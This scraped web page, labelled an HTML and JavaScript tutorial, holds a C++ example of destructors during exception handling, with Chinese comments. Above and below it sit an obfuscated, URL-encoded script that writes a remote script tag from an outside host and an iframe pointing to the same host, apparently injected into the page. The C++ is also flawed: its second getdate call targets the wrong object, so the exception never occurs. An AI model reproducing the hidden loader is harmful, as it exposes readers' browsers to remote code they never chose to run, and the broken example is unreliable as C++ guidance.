HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
//在异常处理中处理析构函数
//在异常处理中处理析构函数
#include <iostream.h>
class Student
{
public:
Student(int n,char nam) ///定义构造函数
{
cout<<"constructs-"<<n<<endl;
num=n;
name=nam;
}
~Student() //定义析构造函数
{
cout<<"destructor-"<<num<<endl;
}
void getdate(); //定义成员函数
private:
int num;
char name;
};
void Student::getdate() //定义成员函数
{
if(num==0)throw num; //如果num==0刨除int 型变量num
else cout<<num<<""<<name<<endl; //如果num不等于0输出,num,name
cout<<"in get_date()"<<endl; //输出信息,表示目前在get_date()中
}
void fun()
{
Student stud1(1101,'a'); //建立stud1对象
stud1.getdate(); //调用getdate函数
Student stud2(0,'b');
stud1.getdate();
}
int main()
{
cout <<"main begin"<<endl; //表示主函数开始了
cout<<"call fun"<<endl; //表示调用fun函数
try
{
fun(); //调用fun函数
}
catch(int n)
{
cout<<"num="<<n<<"error"<<endl; // 表示num=0出错
}
cout<<"main end"<<endl;
return 0;
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">